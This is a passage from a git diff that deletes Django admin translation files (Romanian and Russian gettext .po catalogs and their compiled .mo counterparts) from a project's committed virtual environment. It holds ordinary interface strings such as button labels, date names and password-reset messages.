-msgid "Now" -msgstr "Acum" - -msgid "Midnight" -msgstr "Miezul nopții" - -msgid "6 a.m." -msgstr "6 a.m." - -msgid "Noon" -msgstr "Amiază" - -msgid "6 p.m." -msgstr "6 p.m." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Notă: Sunteți cu %s oră înaintea orei serverului." -msgstr[1] "Notă: Sunteți cu %s ore înaintea orei serverului." -msgstr[2] "Notă: Sunteți cu %s de ore înaintea orei serverului." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Notă: Sunteți cu %s oră în urma orei serverului." -msgstr[1] "Notă: Sunteți cu %s ore în urma orei serverului." -msgstr[2] "Notă: Sunteți cu %s de ore în urma orei serverului." - -msgid "Choose a Time" -msgstr "Alege o oră" - -msgid "Choose a time" -msgstr "Alege o oră" - -msgid "Cancel" -msgstr "Anulează" - -msgid "Today" -msgstr "Astăzi" - -msgid "Choose a Date" -msgstr "Alege o dată" - -msgid "Yesterday" -msgstr "Ieri" - -msgid "Tomorrow" -msgstr "Mâine" - -msgid "January" -msgstr "Ianuarie" - -msgid "February" -msgstr "Februarie" - -msgid "March" -msgstr "Martie" - -msgid "April" -msgstr "Aprilie" - -msgid "May" -msgstr "Mai" - -msgid "June" -msgstr "Iunie" - -msgid "July" -msgstr "Iulie" - -msgid "August" -msgstr "August" - -msgid "September" -msgstr "Septembrie" - -msgid "October" -msgstr "Octombrie" - -msgid "November" -msgstr "Noiembrie" - -msgid "December" -msgstr "Decembrie" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "D" - -msgctxt "one letter Monday" -msgid "M" -msgstr "L" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "M" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "M" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "J" - -msgctxt "one letter Friday" -msgid "F" -msgstr "V" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" - -msgid "Show" -msgstr "Arată" - -msgid "Hide" -msgstr "Ascunde" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ru/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ru/LC_MESSAGES/django.mo deleted file mode 100644 index df0ce2fc..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ru/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ru/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ru/LC_MESSAGES/django.po deleted file mode 100644 index c77ffd1b..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ru/LC_MESSAGES/django.po +++ /dev/null @@ -1,807 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Alex Ibragimov, 2021 -# Ivan Ivaschenko , 2013 -# Denis Darii , 2011 -# Dimmus , 2011 -# Eugene , 2016-2017 -# crazyzubr , 2020 -# Sergey , 2016 -# Jannis Leidel , 2011 -# SeryiMysh , 2020 -# Алексей Борискин , 2012-2015,2022-2024 -# Дмитрий , 2019 -# Bobsans , 2018 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 07:05+0000\n" -"Last-Translator: Алексей Борискин , 2012-2015,2022-2024\n" -"Language-Team: Russian (http://app.transifex.com/django/django/language/" -"ru/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ru\n" -"Plural-Forms: nplurals=4; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && " -"n%10<=4 && (n%100<12 || n%100>14) ? 1 : n%10==0 || (n%10>=5 && n%10<=9) || " -"(n%100>=11 && n%100<=14)? 2 : 3);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Удалить выбранные %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Успешно удалены %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Не удается удалить %(name)s" - -msgid "Are you sure?" -msgstr "Вы уверены?" - -msgid "Administration" -msgstr "Администрирование" - -msgid "All" -msgstr "Все" - -msgid "Yes" -msgstr "Да" - -msgid "No" -msgstr "Нет" - -msgid "Unknown" -msgstr "Неизвестно" - -msgid "Any date" -msgstr "Любая дата" - -msgid "Today" -msgstr "Сегодня" - -msgid "Past 7 days" -msgstr "Последние 7 дней" - -msgid "This month" -msgstr "Этот месяц" - -msgid "This year" -msgstr "Этот год" - -msgid "No date" -msgstr "Дата не указана" - -msgid "Has date" -msgstr "Дата указана" - -msgid "Empty" -msgstr "Пусто" - -msgid "Not empty" -msgstr "Не пусто" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Пожалуйста, введите корректные %(username)s и пароль учётной записи. Оба " -"поля могут быть чувствительны к регистру." - -msgid "Action:" -msgstr "Действие:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Добавить еще один %(verbose_name)s" - -msgid "Remove" -msgstr "Удалить" - -msgid "Addition" -msgstr "Добавление" - -msgid "Change" -msgstr "Изменить" - -msgid "Deletion" -msgstr "Удаление" - -msgid "action time" -msgstr "время действия" - -msgid "user" -msgstr "пользователь" - -msgid "content type" -msgstr "тип содержимого" - -msgid "object id" -msgstr "идентификатор объекта" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "представление объекта" - -msgid "action flag" -msgstr "тип действия" - -msgid "change message" -msgstr "сообщение об изменении" - -msgid "log entry" -msgstr "запись в журнале" - -msgid "log entries" -msgstr "записи в журнале" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Добавлено “%(object)s“." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Изменено “%(object)s“ - %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Удалено “%(object)s.“" - -msgid "LogEntry Object" -msgstr "Запись в журнале" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Добавлен {name} “{object}“." - -msgid "Added." -msgstr "Добавлено." - -msgid "and" -msgstr "и" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Изменено {fields} у {name} “{object}“." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Изменено {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Удален {name} “{object}“." - -msgid "No fields changed." -msgstr "Ни одно поле не изменено." - -msgid "None" -msgstr "Нет" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Удерживайте “Control“ (или “Command“ на Mac), чтобы выбрать несколько " -"значений." - -msgid "Select this object for an action - {}" -msgstr "Выбрать этот объект, чтобы применить к нему действие - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} \"{obj}\" был успешно добавлен." - -msgid "You may edit it again below." -msgstr "Вы можете снова изменить этот объект ниже." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} “{obj}“ был успешно добавлен. Вы можете добавить еще один {name} ниже." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"{name} “{obj}“ был изменен успешно. Вы можете отредактировать его снова ниже." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "{name} “{obj}“ был изменен. Вы можете добавить еще один {name} ниже." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} “{obj}“ был успешно изменен." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Чтобы произвести действия над объектами, необходимо их выбрать. Объекты не " -"были изменены." - -msgid "No action selected." -msgstr "Действие не выбрано." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s “%(obj)s“ был успешно удален." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s с ID “%(key)s“ не существует. Возможно оно было удалено?" - -#, python-format -msgid "Add %s" -msgstr "Добавить %s" - -#, python-format -msgid "Change %s" -msgstr "Изменить %s" - -#, python-format -msgid "View %s" -msgstr "Просмотреть %s" - -msgid "Database error" -msgstr "Ошибка базы данных" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s был успешно изменен." -msgstr[1] "%(count)s %(name)s были успешно изменены." -msgstr[2] "%(count)s %(name)s были успешно изменены." -msgstr[3] "%(count)s %(name)s были успешно изменены." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "Выбран %(total_count)s" -msgstr[1] "Выбраны все %(total_count)s" -msgstr[2] "Выбраны все %(total_count)s" -msgstr[3] "Выбраны все %(total_count)s" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "Выбрано 0 объектов из %(cnt)s " - -#, python-format -msgid "Change history: %s" -msgstr "История изменений: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Удаление объекта %(instance)s типа %(class_name)s будет требовать удаления " -"следующих связанных объектов: %(related_objects)s" - -msgid "Django site admin" -msgstr "Административный сайт Django" - -msgid "Django administration" -msgstr "Администрирование Django" - -msgid "Site administration" -msgstr "Администрирование сайта" - -msgid "Log in" -msgstr "Войти" - -#, python-format -msgid "%(app)s administration" -msgstr "Администрирование приложения «%(app)s»" - -msgid "Page not found" -msgstr "Страница не найдена" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "К сожалению, запрашиваемая вами страница не найдена." - -msgid "Home" -msgstr "Начало" - -msgid "Server error" -msgstr "Ошибка сервера" - -msgid "Server error (500)" -msgstr "Ошибка сервера (500)" - -msgid "Server Error (500)" -msgstr "Ошибка сервера (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Произошла ошибка. О ней сообщено администраторам сайта по электронной почте, " -"ошибка должна быть вскоре исправлена. Благодарим вас за терпение." - -msgid "Run the selected action" -msgstr "Выполнить выбранное действие" - -msgid "Go" -msgstr "Выполнить" - -msgid "Click here to select the objects across all pages" -msgstr "Нажмите здесь, чтобы выбрать объекты на всех страницах" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Выбрать все %(module_name)s (%(total_count)s)" - -msgid "Clear selection" -msgstr "Снять выделение" - -msgid "Breadcrumbs" -msgstr "Хлебные крошки" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Модели в приложении %(name)s" - -msgid "Add" -msgstr "Добавить" - -msgid "View" -msgstr "Просмотреть" - -msgid "You don’t have permission to view or edit anything." -msgstr "У вас недостаточно полномочий для просмотра или изменения чего либо." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Сначала введите имя пользователя и пароль. Затем вы сможете ввести больше " -"информации о пользователе." - -msgid "Enter a username and password." -msgstr "Введите имя пользователя и пароль." - -msgid "Change password" -msgstr "Изменить пароль" - -msgid "Set password" -msgstr "Задать пароль" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Пожалуйста, исправьте ошибку ниже." -msgstr[1] "Пожалуйста, исправьте ошибки ниже." -msgstr[2] "Пожалуйста, исправьте ошибки ниже." -msgstr[3] "Пожалуйста, исправьте ошибки ниже." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Введите новый пароль для пользователя %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Это действие разрешит парольную аутентификацию для этого " -"пользователя." - -msgid "Disable password-based authentication" -msgstr "Запретить аутентификацию по паролю" - -msgid "Enable password-based authentication" -msgstr "Разрешить аутентификацию по паролю" - -msgid "Skip to main content" -msgstr "К основному" - -msgid "Welcome," -msgstr "Добро пожаловать," - -msgid "View site" -msgstr "Открыть сайт" - -msgid "Documentation" -msgstr "Документация" - -msgid "Log out" -msgstr "Выйти" - -#, python-format -msgid "Add %(name)s" -msgstr "Добавить %(name)s" - -msgid "History" -msgstr "История" - -msgid "View on site" -msgstr "Смотреть на сайте" - -msgid "Filter" -msgstr "Фильтр" - -msgid "Hide counts" -msgstr "Скрыть счётчики" - -msgid "Show counts" -msgstr "Показать счётчики" - -msgid "Clear all filters" -msgstr "Сбросить все фильтры" - -msgid "Remove from sorting" -msgstr "Удалить из сортировки" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Приоритет сортировки: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Сортировать в другом направлении" - -msgid "Toggle theme (current theme: auto)" -msgstr "Переключить тему (текущая: выбрана автоматически)" - -msgid "Toggle theme (current theme: light)" -msgstr "Переключить тему (текущая: светлая)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Переключить тему (текущая: тёмная)" - -msgid "Delete" -msgstr "Удалить" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Удаление %(object_name)s '%(escaped_object)s' приведет к удалению связанных " -"объектов, но ваша учетная запись не имеет прав для удаления следующих типов " -"объектов:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Удаление %(object_name)s '%(escaped_object)s' потребует удаления следующих " -"связанных защищенных объектов:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Вы уверены, что хотите удалить %(object_name)s \"%(escaped_object)s\"? Все " -"следующие связанные объекты также будут удалены:" - -msgid "Objects" -msgstr "Объекты" - -msgid "Yes, I’m sure" -msgstr "Да, я уверен" - -msgid "No, take me back" -msgstr "Нет, отменить и вернуться к выбору" - -msgid "Delete multiple objects" -msgstr "Удалить несколько объектов" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Удаление выбранной %(objects_name)s приведет к удалению связанных объектов, " -"но ваша учетная запись не имеет прав на удаление следующих типов объектов:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Удаление %(objects_name)s потребует удаления следующих связанных защищенных " -"объектов:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Вы уверены, что хотите удалить %(objects_name)s? Все следующие объекты и " -"связанные с ними элементы будут удалены:" - -msgid "Delete?" -msgstr "Удалить?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "%(filter_title)s" - -msgid "Summary" -msgstr "Краткая статистика" - -msgid "Recent actions" -msgstr "Последние действия" - -msgid "My actions" -msgstr "Мои действия" - -msgid "None available" -msgstr "Недоступно" - -msgid "Added:" -msgstr "Создано:" - -msgid "Changed:" -msgstr "Изменено:" - -msgid "Deleted:" -msgstr "Удалено:" - -msgid "Unknown content" -msgstr "Неизвестный тип" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Ваша база данных неправильно настроена. Убедитесь, что соответствующие " -"таблицы были созданы, и что соответствующему пользователю разрешен к ним " -"доступ." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Вы вошли в систему как %(username)s, однако у вас недостаточно прав для " -"просмотра данной страницы. Возможно, вы хотели бы войти в систему, используя " -"другую учётную запись?" - -msgid "Forgotten your password or username?" -msgstr "Забыли свой пароль или имя пользователя?" - -msgid "Toggle navigation" -msgstr "Переключить навигацию" - -msgid "Sidebar" -msgstr "Боковая панель" - -msgid "Start typing to filter…" -msgstr "Начните печатать для фильтрации..." - -msgid "Filter navigation items" -msgstr "Фильтр элементов навигации" - -msgid "Date/time" -msgstr "Дата и время" - -msgid "User" -msgstr "Пользователь" - -msgid "Action" -msgstr "Действие" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "запись" -msgstr[1] "записи" -msgstr[2] "записей" -msgstr[3] "записей" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Данный объект не имеет истории изменений. Возможно, он был добавлен не через " -"данный административный сайт." - -msgid "Show all" -msgstr "Показать все" - -msgid "Save" -msgstr "Сохранить" - -msgid "Popup closing…" -msgstr "Всплывающее окно закрывается..." - -msgid "Search" -msgstr "Найти" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s результат" -msgstr[1] "%(counter)s результата" -msgstr[2] "%(counter)s результатов" -msgstr[3] "%(counter)s результатов" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s всего" - -msgid "Save as new" -msgstr "Сохранить как новый объект" - -msgid "Save and add another" -msgstr "Сохранить и добавить другой объект" - -msgid "Save and continue editing" -msgstr "Сохранить и продолжить редактирование" - -msgid "Save and view" -msgstr "Сохранить и просмотреть" - -msgid "Close" -msgstr "Закрыть" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Изменить выбранный объект типа \"%(model)s\"" - -#, python-format -msgid "Add another %(model)s" -msgstr "Добавить ещё один объект типа \"%(model)s\"" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Удалить выбранный объект типа \"%(model)s\"" - -#, python-format -msgid "View selected %(model)s" -msgstr "Просмотреть выбранный объект типа \"%(model)s\"" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Благодарим вас за время, проведенное на этом сайте." - -msgid "Log in again" -msgstr "Войти снова" - -msgid "Password change" -msgstr "Изменение пароля" - -msgid "Your password was changed." -msgstr "Ваш пароль был изменен." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"В целях безопасности, пожалуйста, введите свой старый пароль, затем введите " -"новый пароль дважды, чтобы мы могли убедиться в правильности написания." - -msgid "Change my password" -msgstr "Изменить мой пароль" - -msgid "Password reset" -msgstr "Восстановление пароля" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Ваш пароль был сохранен. Теперь вы можете войти." - -msgid "Password reset confirmation" -msgstr "Подтверждение восстановления пароля" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Пожалуйста, введите новый пароль дважды, чтобы мы могли убедиться в " -"правильности написания." - -msgid "New password:" -msgstr "Новый пароль:" - -msgid "Confirm password:" -msgstr "Подтвердите пароль:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Неверная ссылка для восстановления пароля. Возможно, ей уже воспользовались. " -"Пожалуйста, попробуйте восстановить пароль еще раз." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Мы отправили вам инструкцию по установке нового пароля на указанный адрес " -"электронной почты (если в нашей базе данных есть такой адрес). Вы должны " -"получить ее в ближайшее время." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Если вы не получили письмо, пожалуйста, убедитесь, что вы ввели адрес с " -"которым Вы зарегистрировались, и проверьте папку со спамом." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Вы получили это письмо, потому что вы (или кто-то другой) запросили " -"восстановление пароля от учётной записи на сайте %(site_name)s, которая " -"связана с этим адресом электронной почты." - -msgid "Please go to the following page and choose a new password:" -msgstr "Пожалуйста, перейдите на эту страницу и введите новый пароль:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Ваше имя пользователя (на случай, если вы его забыли):" - -msgid "Thanks for using our site!" -msgstr "Спасибо, что используете наш сайт!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Команда сайта %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Забыли пароль? Введите свой адрес электронной почты ниже, и мы вышлем вам " -"инструкцию, как установить новый пароль." - -msgid "Email address:" -msgstr "Адрес электронной почты:" - -msgid "Reset my password" -msgstr "Восстановить мой пароль" - -msgid "Select all objects on this page for an action" -msgstr "Выбрать все объекты на этой странице, чтобы применить к ним действие" - -msgid "All dates" -msgstr "Все даты" - -#, python-format -msgid "Select %s" -msgstr "Выберите %s" - -#, python-format -msgid "Select %s to change" -msgstr "Выберите %s для изменения" - -#, python-format -msgid "Select %s to view" -msgstr "Выберите %s для просмотра" - -msgid "Date:" -msgstr "Дата:" - -msgid "Time:" -msgstr "Время:" - -msgid "Lookup" -msgstr "Поиск" - -msgid "Currently:" -msgstr "Сейчас:" - -msgid "Change:" -msgstr "Изменить:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ru/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ru/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 6bf7a814..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ru/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ru/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ru/LC_MESSAGES/djangojs.po deleted file mode 100644 index cb33c01c..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ru/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,350 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Claude Paroz , 2020 -# Denis Darii , 2011 -# Dimmus , 2011 -# Eugene , 2012 -# Eugene , 2016 -# crazyzubr , 2020 -# Jannis Leidel , 2011 -# Panasoft, 2021 -# Алексей Борискин , 2012,2014-2015,2022-2023 -# Андрей Щуров , 2016 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 15:04-0300\n" -"PO-Revision-Date: 2023-12-04 07:59+0000\n" -"Last-Translator: Алексей Борискин , " -"2012,2014-2015,2022-2023\n" -"Language-Team: Russian (http://app.transifex.com/django/django/language/" -"ru/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ru\n" -"Plural-Forms: nplurals=4; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && " -"n%10<=4 && (n%100<12 || n%100>14) ? 1 : n%10==0 || (n%10>=5 && n%10<=9) || " -"(n%100>=11 && n%100<=14)? 2 : 3);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Доступные %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Это список всех доступных %s. Вы можете выбрать некоторые из них, выделив их " -"в поле ниже и кликнув \"Выбрать\", либо двойным щелчком." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" -"Начните вводить текст в этом поле, чтобы отфитровать список доступных %s." - -msgid "Filter" -msgstr "Фильтр" - -msgid "Choose all" -msgstr "Выбрать все" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Нажмите, чтобы выбрать все %s сразу." - -msgid "Choose" -msgstr "Выбрать" - -msgid "Remove" -msgstr "Удалить" - -#, javascript-format -msgid "Chosen %s" -msgstr "Выбранные %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Это список выбранных %s. Вы можете удалить некоторые из них, выделив их в " -"поле ниже и кликнув \"Удалить\", либо двойным щелчком." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "" -"Набирайте символы в этом поле, чтобы отфильтровать список выбранных %s." - -msgid "Remove all" -msgstr "Удалить все" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Нажмите чтобы удалить все %s сразу." - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s выбранный объект не виден" -msgstr[1] "%s выбранных объекта не видны" -msgstr[2] "%s выбранных объектов не видны" -msgstr[3] "%s выбранных объектов не видны" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "Выбран %(sel)s из %(cnt)s" -msgstr[1] "Выбрано %(sel)s из %(cnt)s" -msgstr[2] "Выбрано %(sel)s из %(cnt)s" -msgstr[3] "Выбрано %(sel)s из %(cnt)s" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Имеются несохраненные изменения в отдельных полях для редактирования. Если " -"вы запустите действие, несохраненные изменения будут потеряны." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Вы выбрали действие, но еще не сохранили изменения, внесенные в некоторых " -"полях для редактирования. Нажмите OK, чтобы сохранить изменения. После " -"сохранения вам придется запустить действие еще раз." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Вы выбрали действие и не внесли изменений в данные. Возможно, вы хотели " -"воспользоваться кнопкой \"Выполнить\", а не кнопкой \"Сохранить\". Если это " -"так, то нажмите \"Отмена\", чтобы вернуться в интерфейс редактирования." - -msgid "Now" -msgstr "Сейчас" - -msgid "Midnight" -msgstr "Полночь" - -msgid "6 a.m." -msgstr "6 утра" - -msgid "Noon" -msgstr "Полдень" - -msgid "6 p.m." -msgstr "6 вечера" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Внимание: Ваше локальное время опережает время сервера на %s час." -msgstr[1] "Внимание: Ваше локальное время опережает время сервера на %s часа." -msgstr[2] "Внимание: Ваше локальное время опережает время сервера на %s часов." -msgstr[3] "Внимание: Ваше локальное время опережает время сервера на %s часов." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -"Внимание: Ваше локальное время отстаёт от времени сервера на %s час." -msgstr[1] "" -"Внимание: Ваше локальное время отстаёт от времени сервера на %s часа." -msgstr[2] "" -"Внимание: Ваше локальное время отстаёт от времени сервера на %s часов." -msgstr[3] "" -"Внимание: Ваше локальное время отстаёт от времени сервера на %s часов." - -msgid "Choose a Time" -msgstr "Выберите время" - -msgid "Choose a time" -msgstr "Выберите время" - -msgid "Cancel" -msgstr "Отмена" - -msgid "Today" -msgstr "Сегодня" - -msgid "Choose a Date" -msgstr "Выберите дату" - -msgid "Yesterday" -msgstr "Вчера" - -msgid "Tomorrow" -msgstr "Завтра" - -msgid "January" -msgstr "Январь" - -msgid "February" -msgstr "Февраль" - -msgid "March" -msgstr "Март" - -msgid "April" -msgstr "Апрель" - -msgid "May" -msgstr "Май" - -msgid "June" -msgstr "Июнь" - -msgid "July" -msgstr "Июль" - -msgid "August" -msgstr "Август" - -msgid "September" -msgstr "Сентябрь" - -msgid "October" -msgstr "Октябрь" - -msgid "November" -msgstr "Ноябрь" - -msgid "December" -msgstr "Декабрь" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Янв" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Фев" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Мар" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Апр" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Май" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Июн" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Июл" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Авг" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Сен" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Окт" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Ноя" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Дек" - -msgid "Sunday" -msgstr "Воскресенье" - -msgid "Monday" -msgstr "Понедельник" - -msgid "Tuesday" -msgstr "Вторник" - -msgid "Wednesday" -msgstr "Среда" - -msgid "Thursday" -msgstr "Четверг" - -msgid "Friday" -msgstr "Пятница" - -msgid "Saturday" -msgstr "Суббота" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Вс" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Пн" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Вт" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Ср" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "Чт" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Пт" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "Сб" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "В" - -msgctxt "one letter Monday" -msgid "M" -msgstr "П" - -msgctxt "one 